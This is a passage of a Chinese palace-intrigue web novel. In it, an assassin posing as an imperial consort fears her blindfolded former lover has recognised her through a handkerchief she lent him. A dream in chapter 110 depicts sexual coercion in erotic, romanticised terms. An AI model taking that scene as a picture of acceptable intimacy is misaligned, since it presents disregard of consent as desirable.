“你有病吧!?” 眼一抬,竟见顾怀瑾不知何时抬起了头,弓着背喘息着,唇角的血犹未停止,缚着黑绸的脸孔,定定地朝向她。 看不见他的眼睛,可是,此时,她就是个傻子,也知道他在看她。 不依不饶的目光,几乎要将她缠起来,勒断,绞死。 他认出她来了,他绝对认出她来了。 她心里一抖,本能地往李玄白身后躲了躲,头一偏,又见疯帝拼着长剑跌跌撞撞地冲过来,她刚欲往旁一闪,忽然眼前一花,“噔”一声,嘉庆帝闪着白光的剑登时被别到一旁,脱了手。 她惊魂未定喘着,往后退了两步。 面前,嘉庆帝骤然失了剑,站在她和李玄白身前,晕头转向、头痛欲裂,一时反应不过来。 顾怀瑾站在三人对面,手里长剑闪着惊人的青光,将嘉庆帝的佩剑一把斩断,却不收剑,把剑用力往地上一砸,当啷一声巨响。 地砖碎屑飞溅。 他厉喝:“闹够了没有!” 吼得她连大气也不敢出。 未待她想出办法回他,面前嘉庆帝竟然大叫一声,歇斯底里地抓自己头发:“连先生也骂朕!竟连你也敢骂朕!好,好好——”转身,握住李玄白的佩剑剑柄,唰一下将他佩剑拔了出来,对着顾怀瑾,高举过头,剑光一闪。 南琼霜吓得想不出多余的话:“皇上!” 李玄白已经拉着她躲开。 她踉跄开两步,拼命回头,步摇的珠串晃得一派缭乱 ,她从那珠子间,眼睁睁看着李玄白那柄削铁如泥的宝剑,朝顾怀瑾肩上直直劈下去。 他连避都没有避。 她不敢看了,偏开头。 怎么又是这样。不是她,就是别人,这个人怎么一天到晚在挨剑。 耳畔却忽然听见李玄白吹了一声口哨。 李玄白笑着:“行嘛,有点东西。” 她睁开眼。 嘉庆帝瞋目切齿,头上手上血管暴起,用力之大,连手腕上的筋都绷得跳动。 可是,那柄杀气腾腾的剑,不论如何斩不下去,生生被格在顾怀瑾肩上半寸之外。 顾怀瑾脸上半分波动也无,似乎根本没放在心上,平静道了一声: “皇上。” 嘉庆帝吞咽了一下。 见他被顾怀瑾制住,余下的大臣一齐匍匐着跪行过来,攀腿的攀腿,抱脚的抱脚,扒在嘉庆帝身上嚎啕。 方才被顾怀瑾斩落的断剑,一下被群臣踢出去好远。 南琼霜总算松了口气。回身一望,常达不知何时早已走了,满殿狼藉。 见无人注意这边,她低低对李玄白耳语道: “我们走,我有话说。” 再一抬头。 顾怀瑾的脸孔,不知何时转了过来,朝着两人。 她不由自主地一哆嗦。 怎么这么吓人。 但是,他一言不发,没一点多余动作,又将头转了回去。 忽然,殿内大臣齐齐一声惊呼。 王茂行号哭起来:“皇上!皇上如何能伤了顾先生啊!皇上——!” 嘉庆帝的剑劈入他肩膀中,剑锋没入他血肉里,只剩下一半剑身,映着寒光。 顾怀瑾垂着头,没有一点情绪。 她惊得几乎失去了声音。 不是格住了吗?怎么又砍到了,还砍得那么深?! 李玄白催她:“不是要走?走啊。” 她往自己衣袖上的祥云纹一指,使了个眼色,示意他先走。 嘉庆帝正被大臣们扒住腿不得脱身,握着剑柄的手,却无论如何不肯松。 他对面,顾怀瑾一丝反抗也无,任那柄剑斩透了衣裳,卡进肩膀,仿佛没有知觉似的。 她掏出袖中手帕,提心吊胆一步步走去。 顾怀瑾在那,她真不想走近。可是,嘉庆帝是个疯子,疯子没法用言语打动,也没法用人心控制,唯有硬来。 她指甲挖了一点迷醉香,团在手帕中间,揉了揉帕子将药揉匀,攥在手里。 一只手,轻轻覆上嘉庆帝握剑柄握得僵硬了的手: “皇上。” 顾怀瑾缓缓抬起了头。 她头皮一阵发麻。 “皇上这是何苦。常达那厮早就吓跑了,摄政王也早被皇上两剑逼退了。顾先生一向为皇上鞠躬尽瘁,如今,难道皇上要放着自己身子不顾,责罚顾先生吗?” 顾怀瑾面朝着她,若有似无的目光,盯得她胃都拧在一起。 她拿着手绢,当着他的面,轻而小心地替嘉庆帝将冷汗擦去,强笑道: “伤了顾先生,李常两方虎视眈眈不说,若是头风再发作,连个为皇上治病的人都没有,将自己身子拖垮了,岂非亲者痛,仇者快?” 嘉庆帝气喘吁吁,汗从下巴上滴落。 “德音……” 她挤出一个微笑,拿着帕子,替他擦去鼻尖上的汗珠。 嘉庆帝眼睛一翻,骤然倒了。 本就被众大臣扒得几乎站不稳的人,顿时软了下去。 她吓了一跳,赶忙上前接住他,却被嘉庆帝压得膝盖一弯,几乎倒下去。 一只手,从她腰际伸上来,手掌大得直接托住了她的后腰,将她扶稳了。 然后,悄无声息地撤去。 她心里面轰隆一声巨响,后腰热得厉害,不敢低头看。 顾怀瑾一丝反应也没有,脸色苍白。 她睫毛颤了两下,将嘉庆帝转给一旁的侍卫,对王让道: “王公公,给皇上和顾先生传太医。送皇上回紫宸殿。给先生止血,再请先生过来看皇上。本宫先去紫宸殿内陪着。” 顾怀瑾忽然开了口: “顾某的伤不要紧,还是皇上的身子更重要。” 她拧了眉头:“先生不想包扎?” 顾怀瑾不说话。 她一低头,地上早已许多星星点点的血印子,被众人踏得一派凌乱。 今天,这大殿里,受了伤的,只有一个。 还是武功最高的。 他莫不是故意的? 她胸中烦躁得厉害,不想再管,话都懒得多说,拂袖而去。 * 顾怀瑾盘腿坐在嘉庆帝身后,闭目运功。 嘉庆帝亦盘腿坐着,脑后扎着银针,眼下青黑得厉害,若要由李玄白那张嘴来形容,八成要说他“眼下长了胡子”。 他两掌缓缓平搓开,长发随着周身气劲浮动,竖起手掌,往嘉庆帝背中央一推。 空气都震颤起来。连南琼霜坐在龙床边,都感觉到颊肉微微颤动,一阵窸窣的麻痒。 这就是他的无量心法?如今可真是武功大进了。 幸好,她的目标不是他。不然,可真是杀不了了。 他手一挥,刺入嘉庆帝脑后的十八根银针嗖一声退出来,悬浮在空中。 嘉庆帝扭着她的手,“嘶”了一声。 她提心吊胆,瞟了一眼顾怀瑾的脸色。 他面无表情。 一阵极其诡异的宁静。 她真是做梦也没有想到,她一个攻心刺客,有朝一日,两个目标会彼此相识。 而且,两个都是疯子。 “好了。”他手掌一开,银针闪着光点,依次飞入他掌心,“陛下可有好些?” “轻松许多。”嘉庆帝微张着口,眼睛盯着殿顶的一盏灯,痛得眼珠子混混沌沌,“不过,先生……朕近来胸闷得紧。可否请先生多针灸一会。” 银针撤去了,嘉庆帝软倒下来,南琼霜坐在榻边倾身过去,小心将嘉庆帝的头安置在枕上。 顾怀瑾沉默地等着她。 不知为什么,他越平静,她越忐忑,特别是他蒙着眼,毫无表情地与她面对面时,她简直浑身难受。 太近了,怎么这么吓人。 空气里的血腥气,越来越浓。 血浸湿了他宽大的玄色衣襟,顺着衣摆,一颗一颗,滴答滴答,砸碎在地。 都成了这个样子,这个人还不治伤的。 她偏开头。 “娘娘。” 她一时心烦意乱,竟未发觉。 “娘娘。”他提高了些声音。 她一激灵:“怎么?” “陛下叫您。” 嘉庆帝汗湿了的手,攥着她的手掌摩挲了两圈,“德音啊,朕头晕,先睡会。但有点话……要先跟你说。” 她逼自己不去想手上嘉庆帝的汗,强笑着凑过去:“皇上?” “你一向……是最懂朕的。”他喘着,胸膛吃力地起伏,每一个字,都虚弱得仿佛梦呓,“朕病啦。如今,风雨飘摇,虎狼环伺,朕也不知道,朕这身子,还能撑多少时候。” 南琼霜听得费解,这语气怎么好似要交待遗言一般。 她挤出点眼泪,蓄在眼睛底下:“皇上不准说这些话。有顾先生在此……”瞥了一眼顾怀瑾,心里一瞬发毛,“皇上的位子谁也动不了,安心养病便是了。” 顾怀瑾似乎冷笑了一瞬。 “养病……。再养,也还是不好说啊。”嘉庆帝长长吸了口气,缓缓吐出来,“所以,德音啊,你过来。” 她无法,屏了一口气,附耳过去。 嘉庆帝干涸龟裂的唇,艰难开合。 她皱起眉头,问了一句:“什么?” 嘉庆帝气息奄奄地,嘴唇又翕动了两下,眼底含着一丝晶亮的泪,希冀地看着她。 她依旧没懂。 “皇上说,”顾怀瑾简短道,“六博。” 嘉庆帝脸上顿时笑开,心满意足地阖了眼,往锦衾中窝了窝,昏睡过去。 她坐起身来,难以置信地同他面对面。 如今,她只要同他对视一瞬,心里就煎熬,浑身发麻。 “六博,一种棋。” 他语气,心平气和 得惊人,她简直不知道,他究竟是怎么回事。 不是已经认出了她的身份吗?不然,怎么会在荷花池边堵她,看着她忽然就功法反噬,莫名其妙的,拿那个梦试探她? 假如知道她是谁…… 他的反应,又太奇怪了。 如果恨她,他何必在疯帝的剑下救她,又为何不直接杀了她。 如果爱她,她同嘉庆帝伉俪情深这么久,他醋劲那么大的一个人,又怎么会忍得下。 甚至——她抬眼看他。 顾怀瑾看着她和嘉庆帝彼此相握的手,还带着点温柔的笑。 “六博,正是清河那一片时兴起来的。娘娘是清河人氏出身,竟然未曾听过六博吗?” 她愣了一瞬。 “也对。听闻娘娘幼时走失,近些年才归了本家,不知道,也是情理之中。” 她望着他过分平和的脸,越发不知道他在想什么。 这人如今,一身玄色,仿佛一潭看不见底的深深的水,一片漆黑。 “皇上胸闷,要针灸,需在胸口入针。”他声音毫无波动,“顾某眼睛看不见。烦请娘娘为皇上宽衣吧。” 紫宸殿外的风呼呼刮了一阵,自窗棂中钻进来,摇得头顶华灯飘忽地晃。 要她为嘉庆帝宽衣? 难道他当真看不见,当真没认出? 可是…… 她道,“先生看得见穴位,看不见衣裳?” “穴位之中有气流动。衣裳是死物。” 她半信半疑。 只是,倘若顾怀瑾认出了她,不可能容忍她为别的男人宽衣。 她迟疑半晌,低下头,将嘉庆帝龙袍的纽扣,一颗一颗解开。 掀开两边,露出里面大片的前胸。 赤裸的男人的胸膛。 被他沉默注视着,她的心简直要跳出来。 他倒是毫无反应,“此处,有顾某守着。娘娘金枝玉叶,又受了惊,不妨请回吧。” 她心内忐忑,思忖片刻。 这么简单就放她走了。 或许,他是真的没有认出她来。 但是,此前那些事,究竟又是怎么回事? 血珠滴答滴答,砸在地板砖上,声音闷闷的。 她才想起来,回头一看,连他再度开始运功的莹白的手臂,都淌着刺目的血,猩红一片。 他浑不在意。 她心里一跳。 “先生还在流血呢。远香,清涟,”她回头吩咐,“去给先生传太医。” 他如梦初醒,平静抬起手肘看了看,再度运功施针,十八根银针嗖一下入了嘉庆帝的胸口。 “顾某伤了,娘娘很在意?” 语气轻巧,仿佛随口一问。 她未答。 许久,她道:“怕血光冲了龙气。” 顾怀瑾笑笑。 “娘娘。”他轻轻唤,“可否借块手帕,擦擦血。” 倘若他真的并未认出她来,这没有什么不可以的。 她自袖中拿出一方没被迷醉香沾过的帕子,递了出去。 顾怀瑾伸手摸索着,在空中茫然寻了一阵,修长如竹的手,触到了她的手指。 她心里骤然一震。 他却没有退开,摸上她的手掌边缘,不知是有意还是无意,五指轻轻,在她手指上,扫过。 流连一瞬,霎时撤开。 她身上仿佛被电了一下,猛然偏头去瞧清涟和远香。 清涟和远香刚向外传了话,转过身走回来。 无人发觉。 两个丫鬟回来复命:“王公公已经派人去请了。” 她松了口气,不知自己在紧张什么。 她颔首,刚想告退,一抬头,却见顾怀瑾,毫无波动,不动声色地,抚摸着手上方才碰过她的那一块地方。 第109章 “我真的觉得他认出我了。” 变天了,阴雨蒙蒙。正是春尽时节,细雨如织。 南琼霜冒雨踏水,两下跃上了御花园湖中心的花顶小船,掀开锦帘,第一句话就是这个。 船中,点了一支蜡烛,放在青花宝莲烛台中,幽暗闪着光。 灯下,一张低矮的小几,两只浅浅的酒盅,两副盘碟碗筷。 “来了?” 李玄白背对着帘子,坐在小几前,闻声,转过头来。 她心乱如麻,叹着气,猫着身子免得撞上船顶,走去他对面,坐下。 “你怎么看?”二话不说,先斟了一盏酒,仰头饮尽。 “说什么‘有话要说’,这就是你找我要说的?”李玄白夹了一筷子猪皮冻,在醋碟中蘸蘸,“看姓顾的有没有认出你?” “对。”她揉着眉心叹气。 “那个疯子确实坏了你的事,捅出去不少。不过,看他那样子,也不至于认出了吧。” 他拄着腮,口里嚼着。 南琼霜愈发头痛欲裂。 从明面上来看,或许他确实还未认出她来,但是,却有那么多细节,她怎么想,怎么觉得不对。 譬如,今日宫宴上,他用饭时的模样,并不像个盲人,没有摸索来摸索去的。若说衣裳是死物,难道饭菜就不是死物吗? 甚至,她还只是在殿外出现了一下,就被他发觉了。自己一个人在荷花池边喂鱼,也被他逮了个正着。 他当真看不见吗? 还有,她忽然想起,她提醒他一直在流血时,他虽然绑着黑绸,还是曲起手肘,看了看。 虽然,这不能代表什么——一个从前双目健康的人,或许习惯了凡事看一看,不论看不看得见。 可是,他当真看不见吗? 假如看不见,假如真的没有认出,为何就那么巧,看着她,忽然功法反噬呕了血;为何她刚趔趄着要摔倒,他就扶了一下,她跟李玄白说了几句话,她就感觉到他隔着绸布,五内俱焚地盯着她? 都是巧合?她的错觉? 那手帕呢?怎么解释? 为什么接个手帕,也要碰一碰她,碰过了,还要自己摸着? 顾怀瑾不是容人轻易近身的人。从前就不是,如今更不可能是。 但,假如他认出了她—— 那就更没法解释了。 不论他对她是恨是爱,都不会是这样的反应。 可是,虽然如此。 她的直觉却依旧简单明了。 ——顾怀瑾知道她就在他身边,她就是楚皎皎。 她越捋越不明白,扶着额头。 “你为什么觉得他认出了你?”李玄白拧下一只烧鹅腿,咬着。 “因为……”她叹息,“总觉得他在看我。” “‘觉得’?” 她心烦得很,拿起筷子夹了两只清炒虾仁——方才宴席上,为了演戏,她逼着自己吃油腻的,根本没吃多少。 “我在哪,他准发现,准跟过来。还有……” 她忽然发现,她心里面的那些佐证——被他盯着时瞬间的激灵,难以开口的梦,托着她后腰的手,接手帕时的触碰——全是一些小得不能再小的细节。 小到,难以对人开口,连她自己也要怀疑,是不是只是巧合,只是自己多了心。 她没说话。 “还有什么?” 她叹了口气,捏着眉心。 李玄白嗤笑一声,啪地将筷子撂到桌面上: “我说,你做了那种事,不会还在惦记他吧。” “你胡说什么?”她会被这种话瞬间激怒。 “不是吗?今天,我可没瞧出什么来。”他两手一摊,耸耸肩,“不是你希望他依旧对你有情,所以有意往那一面想吗?” “我?我有意?”她气笑了,“你是说,我想入非非,自作多情?” “我看着像这么回事。”李玄白拿起酒盅来,喝了一口。 她长出一口气,闭了闭眼。 “他那个人,多小心眼,你又不是不知道。”他被酒辣得嘶了一口,满足地吐气,“整日里吃醋,从前我跟你多讲一句话,跟要了他老命似的。你还记得我当年我吻你?他那表情——” 那种神态,时至今日,李玄白依旧在品味。 “如今,别说他如果认出你,八成就直接杀了你;就算他不想杀你,余情未了,也不会是那个样子。” 他指甲磕了磕酒盅,“你想,那疯子一直黏你,抓着你的手不放,你见他说什么了吗?他反噬了,你没管他,来管我,他多说一句话了?这要是放在以前——” 他冷笑一声,“——放以前,他准拿着剑要杀了我不可。至于你,不知道又被他关进哪座绝峰了。” 她感觉太阳穴嘣嘣直跳,揉完眉心揉太阳穴。 但是——李玄白说得对。 遇见她,却什么都不做,原因只会有一个。 他不知道她就是那忘恩负义的旧情人。 再多模棱两可、暧昧难断的细节加在一起,也比不上这一点的说服力。 良久,她长叹一声:“……或许你说得对。他没有认出来,是最好。” 李玄白见她那副松了口气的样子,一下笑了出来。 “你到底是想他认出你,还是不想?” 她没好气翻了个白眼。 过去的事,早就过去了。 剑是她捅的,人是她杀的,再多的恩情和爱,也是她亲手背叛的。 事到如今,还有什么好说? 李玄白看她那样子,才明白她或许也不是旧情未了,只是一向多疑,什么都要多想两步。 他拣了颗花生米,嚼得咯吱作响: “不过,也得佩服你,你见了那姓顾的还真冷静。” 她正拣了一颗虾仁,闻言,虾仁掉了,她见怪地笑了一声: “我不该冷静吗?” 李玄白笑了:“你说呢?” 船外,雨声渐渐大了,敲在花顶上,笃笃笃笃。 湖面上一片沙沙雨声。 她挑了挑眉。 携着雨的风,扬起她鬓边细细的发丝,她垂眸将酒面吻出涟漪,一笑: “我不会为已经失去的东西过分介怀。” 摇曳烛火里,李玄白闻言,原本吊儿郎当捏着酒盅的人,坐直了身子,手肘搁在小几上,深深看了她许久。 她一抬眼,刚巧与他对上。 天色浑蒙,沉沉地罩下来,四下里只有烛火亮着,两人的影子投在船壁上,婆娑飘动。 许久。 他笑了,举起酒盅,与她的小酒盅轻轻一碰,清脆的“叮”一声。 “我们真像。” 他眼睛里亮着一点灼灼的光,仿佛两只久在野外,疲于狩猎的猛兽,骤然见着了同类,错愕之后,惺惺相惜: “过了的事,过了就忘。免于缚人,免于缚己。” 她垂下眼笑了。 她说什么来着。 往生门里,她同墨角打牌,提到他,说的就是八个字,“该放的放,该忘的忘”。 时至今日,李玄白愿意帮她,绝不只是因为她身上那种恶劣的魔力。 她愿意拿他当自己人,跟他交两三分的底,也不是因为他那点不能指望的爱意。 他们太像了。方方面面都——太像了。 李玄白摇摇头,那颗小耳坠,在烛光里亮得生怕她看不见,他撑腮歪着头朝她笑: “虽然,到现在,你连个真名都不肯告诉我。” “但是,承认吧。” “——我们两个,天生一对。” 她指尖在筷子上敲了敲,垂下眼睫。 正是因为太像,才没可能。 她杀过顾怀瑾。 这种事,放在顾怀瑾身上,他会作何反应,她尚没有看出来。但放在李玄白身上,她不需看,结局,也能猜得到。 一定是恨海涛天,断她骨头吞她的筋,死也不休。 她笑,“你少说大话了,我还不知道你?”搁下筷子,站起身来,撩开了锦帘,想回岸上,“我对他做过的事,够你忌惮一辈子。你也就现在嘴上说说。张张嘴的事,多轻巧啊,我要是真答应了你——” 话忽然卡在嗓子里,说不下去了。 锦帘外,细密的雨幕里,岸边杨柳枝下,站了一个人。 长身玉立,一身玄衣,看不清五官,恍若不觉地淋着雨。 甚至,没有绑那根黑色的绸带。 她浑身一哆嗦,闪电一般转回了身,钻回船中,甩得锦帘不住摇摆。 “怎么了?”李玄白依旧拿小酒盅贴着嘴唇。 “他……”她才发现自己心虚得自己都没想到,“他在那。” 李玄白闻言起了身,撩开帘子探头往外看。 “没有啊?” 他撩着帘子,将岸边的情景拨给她。她紧紧贴着船壁,躲在船厢的死角内,小心翼翼地伸长脖子往外看。 没有了。 方才的杨柳枝下,一个人影也没有,唯有那长长的柳枝随风摇着。 消失得那么彻底,仿佛她是大惊小怪,一点风吹草动,就草木皆兵,慌张得令人发笑。 她垂下头,心神俱疲地捂住自己半边脸。 李玄白已经坐回了小几旁,塞了一嘴的烧鹅,笑得前仰后合: “你说说,吓成这样,跟见了猫的耗子似的。我还真没见过你这样。这么怕啊?” 她长长哀叹了一声。 若说胆子,她素来是胆子大的,她也没想到有一天,她会躲一个人,躲成这样。 人啊,还是不能做亏心事。 她烦躁得很,掀开帘子,四下又看了一眼,没看见人,放心摆了摆手,“走了。只是来找你商量商量意见,问问你的看法。” “哎。”他回身道,“话跟你说在前头。常达的事,我得找那疯子商量,找那疯子商量就是找顾怀瑾商量。找那个疯子,他八成就得带上你。我们三个,过两天,就得坐到一起,你?你也跑不了。” 他一双狐狸眼,笑得幸灾乐祸,又塞了块猪皮冻在嘴里,“怕成这样,过两天,看你怎么办。” 她捏着锦帘,忍耐了半晌,恨恨道: “吃你的吧。刚从宫宴回来,又给自己开小灶,早晚有一天,肥成一头猪,将天山所学全丢光了。” 第110章 虽然她也承认李玄白说的有道理,但是,她依然有一种隐隐约约的感觉——他知道她是谁,他就是知道。 她的这种直觉,转念就会被她自己否决。 因为拿不定主意,她问了身边所有知道两人渊源的人。 夜里,她坐在妆镜前,怏怏垂着眉眼,清涟和远香在一旁替她将发髻解下来,钗饰一一除去。 她问:“你们觉得,国师先生,认出我了吗?” 清涟和远香一时沉默。 烛火在牡丹烛台中扑朔跳动,钗饰搁在红木妆台上,一阵轻响。 清涟和远香对视一眼: “没有吧。娘娘同顾先生从前那些事……若是真认出了,怎么会如此风平浪静的。” 这些话,李玄白刚刚才对她说过,她听得厌了,扶着额头。 “假如抛开这一点,你们觉得,他有没有些细微之处,十分可疑?譬如,他那轿子,明明已经停在了谨身殿门口,却忽然就出现在荷花池旁,将我堵了个正着?明明绑着绸带,却将我扶稳了,哪里有眼睛不好的样子?” “娘娘说的这些,倒也没错,不过……”远香将她一缕发托在掌中,用香木梳细细梳着,“倘若他认出了您,怎么都会给您个反应。” 她无话可说。半晌又道,“假如我说,他忽然反噬呕血,便是因为认出了我呢?” 两人不答话了。 不说话,那意思她很明白。 她们两个,都觉得是她浮想联翩,东拉西扯扯到自己身上来,自作多情。 她叹息一声,头又开始痛。 是啊,当时,虽然她觉得他在看她,可是,蒙着黑绸,若说他在看嘉庆帝,也没什么不对。 谁敢说他呕血,是因为认出了她,而不是听闻嘉庆帝以官职下赌注,惹得常达眼红前来讨封,气得发作? 何况,对他而言,或许她已是人生中最不堪提的污点,或许他早已过了这个坎,断了对她的念想,将她抛之脑后了。 至于那些梦—— 梦或许只是梦。 她是不是真的想多了? 她又叹了一声,懒怠上了榻,盖好衾被。 阖上眼,却怎么都睡不着。 到了月亮高挂中天的三更,蝉鸣声终于扰得她难以忍受,连清涟和远香此 时都不可能醒着,她坐起身来,唤道: “雾刀。” 他果然还醒着:“怎么。” “你怎么看?” 雾刀冷哼一声:“你是不是有点想得太多了?我看你都问了一圈了。他要是真知道是你,能没反应?” 同样的话,她听了太多,真听烦了: “有些细节,你真没觉得不对?紫宸殿内,你在,对吧?我给他递帕子的时候,他装盲,摸了我的手,你看没看见?” “连李玄白都说他是眼睛不好,到了你这,就成了装盲了。”雾刀笑着,“而且,我盯着呢,也没觉得他摸你。” 她不说话了,扯起被子,朝榻内恨恨翻身。 半晌,她道:“这任务我办不了。紫禁城内,全是老熟人,两个目标还碰上头了。什么人安排的,门内全是饭桶吗,连这种纰漏都能出?你往门内传信,就说我应付不来,给我换个任务。” “此番,确实是门内没有调查清楚。不过,任务办了一半,哪有说换就换的,你忍忍吧。” “我忍不了!”她将锦枕一把扔到地上,扑通一声,“从前他爱我的时候,爱到什么地步,你不是不知道——现在,我背叛过他,他今日不发现,明日不发现,半年后也就发现了。门内命我在嘉庆帝身旁待命监听,一时半会还不能杀,谁知道是我先露馅,还是命令先下来?!” 雾刀搔了搔头,叹口气。 “告诉你,我们两个是一条绳上的蚂蚱。”她了解雾刀,最知道怎么威胁他,“这么些年,你就带过我一个。我话也可以放在这,我要是死了,你带新人,也绝不会有我这么争气的了!我们两个的效绩绑在一起,没有我,谁来帮你挣月银,谁来帮你进阶品?” 雾刀沉默了。 每次他沉默,就说明她的话进了他脑子。但他脑子只有小小一粒,三两句话就惹得他大脑消化不良。 她格外有耐心地等了一阵。 许久,雾刀道:“……行。回头我往门内汇报,看能不能调。” 她松了口气,翻身向榻内,心烦得连枕头都懒得下去捡,阖上眼睫。 夜里,不知过了多久,才朦朦胧胧睡着,却又做了一个梦。 她整个身子陷在一张蛛网中间,蛛网软软塌陷下去,黏着她的腰身,吊着她的双臂。 人仿佛一颗被剥去了皮的莲子,被吊在空中,身不由己地仰着头,新鲜、滑嫩、白生生的。 她艰难睁开一丝眼缝,见到自己两条腿黏在网上,满身的红痕。 错乱、纷纷,仿佛天山上狂乱的落花。 好累啊,不知道为什么,但好累啊。 蛛网上只有她一个人。如果要逃,就只有现在了。 不然,等到他回来…… ……谁回来? 她不明白,本能地挣扎起来,才发现那些温柔的、甜腻的蛛网,根本挣脱不得,一动,就变本加厉地黏紧、捆实、贴上来。 但是,不行。 她必须得跑。再留在这里…… 她咬着牙,将胳膊从蛛丝中拔出来,强撑着翻了个身,膝盖兜在网里,半寸半寸地,往外爬。 如果留在这里,他回来之后,她又要…… 她浑身酸得难以支撑,两手撑在身前,才发觉连手腕和小臂都是密密的吻痕。 呼吸的时候,喉咙干渴得发痛,嗓子也哑着。 怎么能……他那个人,看着人模人样…… 身上太酸了,蛛网又太软,她爬都爬不动,低下头,喘息着。 忽然,蛛网一阵轻微的震颤。 她仿佛被多足虫自光滑的背脊爬过,浑身一阵难捱的战栗,悚然又麻痒,不敢回头。 身后,什么人顺着蛛网,轻松自若地逼近了,到了她身后。 她不必看,也知道是谁,也知道他要做什么,也知道下文是怎样。 她听天由命地,闭上眼。 一只滚烫的手,铐住她纤细的脚踝。 一寸、一寸、一寸地,将她拖回蛛网中央。 她用手蒙住眼睛,由着他将自己翻过来,分开膝盖。 他声音依然清澈如碎冰相击: “……娘娘。” “……娘娘,又要去哪啊?” 她真的受不了,推开他的胸膛: “……怀瑾。你正常一点,好不好。” 顾怀瑾闻言,好似当真考虑了似的,垂下眼想了半晌。 然后他笑起来:“不好。” 低下头,将大拇指上的玉扳指,换到中指上,戴到指根。 中指和无名指并在一处。 她惊恐地发现,他那玉管般的手指上,早已是晶莹润泽,湿滑不堪。 他笑得很温柔:“乖。我的问题,答,还是不答?” 她不能答。 于是没有她讨价还价的余地。 她身不由己,闭上眼睛,轻轻哀呼。 被强按着开放的芙蓉花,颤抖不已,泣下露来。 * 再醒来的时候,她吓得魂飞魄散。 清涟和远香见她刚起了床,便捂着胸口气喘不已,慌张得很,拨着帘子:“娘娘,怎么了?可是做了噩梦?” 她身上烫得受不了,整个人都要烧化了,靠在软枕上顺气。 “拿杯茶来,润润嗓子。” “娘娘。”清涟候在她身边,将茶端来,十分担忧:“今儿早上,皇上说要同顾先生和摄政王商议常大将军讨封的事情呢。” 嘉庆帝引虎入山不过半年,朝中形势尚不大明晰。李玄白虽然享着摄政王的名头,朝中百官却未心服口服。王茂行乃是百官之首,品格刚正,自李玄白受封以来,心里从未顺服过他,却凡事都要问过顾怀瑾。 因而,这种大事,哪怕是李玄白,也得叫嘉庆帝和顾怀瑾一同商议。否则,他的折子发下去,也只有被王茂行封驳的份。 她应了一声,接过茶,啜了一口。 “皇上说,要娘娘陪着,催娘娘赶紧去笑乐园内呢。” 她噗地呛了一口,捂着嘴一阵猛咳。 “娘娘!小心烫着了!”远香急急过来拿帕子擦拭。 冒着热气的茶水,滚到寝衣里,将她胸口大片的肌肤烫得通红。 清涟也过来,替她擦拭着,“娘娘怎么这样不小心……” 她低头看了一眼,见身上红着,心里咯噔一下,偏开了眼。 “娘娘不若早些梳妆,去笑乐园内,皇上等着呢。有摄政王在,娘娘也不必惧怕顾先生。” “不去。”她斩钉截铁,“就说我病了。” “娘娘不去?”远香迟疑着。 她知道远香在担忧什么。以一介后妃之身,被请去陪伴皇上议政,这是天大的殊荣。何况,靠近权力中心,猫儿狗儿都能举足轻重,送上门的机会,谁不要? 但她——不想去。 她来此处,本是为往生门的任务而来,对于做什么皇后太后全无兴趣。 太过贪心,别到最后,反误了自身性命。 何况—— 何况,顾怀瑾在那。 昨晚,那个梦,当真是提醒她了。 假如,他面对她,全无反应,并不是因为没有认出她,而是因为,他正暗地里筹谋设计,想将她引入一个局中呢? 正如那张蛛网。 她这时才发觉,从前,她要攻下顾怀瑾的心,费尽心思 为他织了一张网,引他入局。 如今,或许,被他觊觎、被他设计的人——成了她了。 她绝不会入局。 她道:“不去,就对皇上说,我病了,去不得。” * 几个人自早上卯时,一直谈到下午未时。 她一直在宫中吃核桃,雾刀盯她盯得无聊,晓得她身边还有清涟远香,自己跑去笑乐园旁偷听。 未时末,雾刀喜滋滋地看了热闹回来,兴高采烈在她耳边念叨: “谈崩了,谈崩了。那个桀骜不驯的小子气得要发疯,回了大明宫,一怒之下,将殿中一只前朝宝瓶踹碎了。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 110-120 第111章 她当时正在窗下百无聊赖地吃荔枝,闻言诧异一瞬,笑了: “给他气成这样?” 昨日湖中那只小船上,李玄白欠儿欠儿地揶揄她,说她见了顾怀瑾,跟耗子见了猫似的。 怎么,他也在顾怀瑾那吃了瘪? 李玄白为人太皮,她最爱见李玄白恼火,今日他怒得不一般,她上刀山下火海也得去瞧瞧。 “给摄政王传信,说我去他那待会。”一想到李玄白气得发飙,她就忍不住笑意,小银叉将最后一颗荔枝肉扎起来,放入口中。 清涟晓得她爱洁,适时递来一方湿帕子,让她擦手。 “公孙红说,上回笑乐园内,摄政王在皇上面前僭越,言行较常大将军更为不敬,回去常大将军气得直发疯。” 南琼霜接过帕子细细擦拭,“这年头,连僭越都要攀比了,这两人也是有意思。所以那天回去,常大将军转头就来讨了王爵……” 话却忽然止住了。 她垂眼望着掌中微湿的手帕,喉咙像被塞住一般,一个字也说不出来。 常大将军讨封那天,嘉庆帝疯症发作,顾怀瑾受了伤,她是不是将自己的帕子,借给他擦血了? 她心里咯噔一下。 顾怀瑾是隔着一堵墙,都能发觉她藏在密室内的。当年他发现她躲在漱玉斋里,凭的不过是一页她拈过的书页。 他那时说——那一页佛经,有些她的气息。 假如一页佛经,他都能闻出她的气息来,那她的帕子,岂不是早被他嗅闻过了? 她骤然想起昨夜,他搂着她细嗅,密密的鼻息喷在她皮肤上。 梦境之外,她依旧起了一身鸡皮疙瘩。 ——完了。 怎么能出这种差错?! 当日她究竟在做什么,为什么,竟然将自己的手帕借给了他?! 她忽然想起来。 那时——因为嘉庆帝胸闷,要在胸前施针,顾怀瑾说眼盲,要她帮忙解开嘉庆帝的衣裳。 她还是把他当成了从前的顾怀瑾,以为他若真认出了,不可能允许她替别的男人宽衣。于是,她认定顾怀瑾尚蒙在鼓里,行差踏错,将这么私人的东西给了他。 现在想想,出了那样的事,他对她已无任何感情,也不奇怪,要她帮皇上解个衣裳,又有什么? 或许是她太自恋了。 但是。 不论他到底还爱不爱她,那一方帕子在手,他一定已经察觉了她的身份。 ——完了。 她尚不知道他在设什么局,但她最后一张面具,已经被他轻轻摘下了。 她长吸一口气,急急道:“雾刀。我叫你跟门内联络,你去信了没有?” 雾刀的声音带着困倦,打了个哈欠: “姑奶奶,昨儿个三更天你吩咐的我,眼下才几时?” “赶紧写信,快写!我在这里一刻也待不下去了,最好明日就收到门内的回信。” 雾刀“嘁”了一声,“这么急?” 怎么可能不急? 倘若他爱她,他看着嘉庆帝磨她,竟然能一言不发,为了骗一条帕子,叫她为嘉庆帝宽衣。 倘若他恨她,他竟能按下窃山之仇,容忍她在眼前大摇大摆,不取她的性命。 卧薪尝胆至此,背后所图谋的,怎么可能简单? 